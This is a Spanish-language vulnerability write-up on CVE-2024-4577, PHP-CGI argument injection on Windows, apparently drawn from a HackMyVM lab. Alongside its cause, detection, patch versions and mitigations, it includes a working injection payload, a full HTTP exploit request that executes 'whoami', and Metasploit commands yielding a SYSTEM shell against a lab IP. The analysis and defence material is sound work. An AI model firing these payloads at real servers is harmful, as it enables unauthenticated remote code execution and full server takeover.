1. Descripción técnica
CVE-2024-4577 es una vulnerabilidad de Argument Injection en PHP-CGI sobre Windows que puede conducir a Remote Code Execution sin autenticación. La corrección anterior de CVE-2012-1823 no contemplaba determinadas conversiones Best-Fit de Windows.
El fallo está en cómo Apache (vía mod_cgi/php-cgi) pasa la query string a php-cgi.exe. En las versiones de Windows con ciertos locales (notablemente japonés (932), chino tradicional/simplificado), la conversión de caracteres ("Best-Fit") transforma el carácter guion suave 0xAD (soft hyphen) en un guion normal -. Esto permite que un atacante "inyecte" un guion donde PHP no lo esperaba, colando opciones de línea de comandos a php-cgi.exe como si fueran argumentos legítimos.
Abusando de las flags de configuración (-d), se habilita allow_url_include y se fuerza auto_prepend_file=php://input, de modo que el cuerpo de la petición se ejecuta como código PHP:
?%add+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input2. Impacto de la vulnerabilidad
- RCE no autenticado con los privilegios de la cuenta que ejecuta el servicio web. En 123-omg esa cuenta es
NT AUTHORITY\SYSTEM, pero no debe generalizarse a toda instalación. - Compromiso total del servidor sin necesidad de credenciales.
- Lectura, modificación o ejecución limitada por los permisos reales de la cuenta del servicio.
3. Contexto
- Descubierta por Orange Tsai (DEVCORE) y publicada en junio de 2024.
- Parcheada en PHP 8.3.8, 8.2.20 y 8.1.29.
4. Condiciones necesarias
- PHP-CGI en Windows dentro de una configuración web que entregue la query string como argumentos.
- Una página de códigos cuya conversión Best-Fit transforme el carácter suministrado en
-. - Versión de PHP previa al parche (< 8.3.8 / 8.2.20 / 8.1.29).
- Acceso HTTP al handler vulnerable. Detectar XAMPP o
php-cgi.exeno confirma por sí solo todas estas condiciones.
5. Validación y detección
- Identificar XAMPP/PHP-CGI en Windows y su versión y locale:
curl http://<ip>/xampp/.version
# 8.2.12
# LAN=日本語 → locale japonés ⇒ vulnerable- Comprobar la ejecución con un payload de prueba (ver §7).
6. Mitigación
- Actualizar PHP a 8.3.8 / 8.2.20 / 8.1.29 o superior.
- Dejar de usar la arquitectura PHP-CGI (preferir Mod-PHP, FastCGI/PHP-FPM).
- Reglas de mod_rewrite para bloquear el patrón de inyección (mitigación temporal recomendada por PHP).
- Evitar locales vulnerables si no son necesarios.
7. Explotación documentada en 123-omg
Máquina OMG de HMV. Verificación de RCE (devuelve el usuario del proceso):
GET /php-cgi/php-cgi.exe?%add+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 192.168.1.12
Content-Length: 26
<?=`"whoami"`; exit();HTTP/1.1 200 OK
...
nt authority\systemShell con Metasploit:
msf6 > use exploit/windows/http/php_cgi_arg_injection_rce_cve_2024_4577
msf6 ... > set rhosts 192.168.1.12
msf6 ... > run
[+] The target is vulnerable. Apache
whoami
nt authority\system8. Clasificación
- Tipo: Argument Injection / Remote Code Execution
- CVE: CVE-2024-4577
- CWE:
- CWE-88: Improper Neutralization of Argument Delimiters in a Command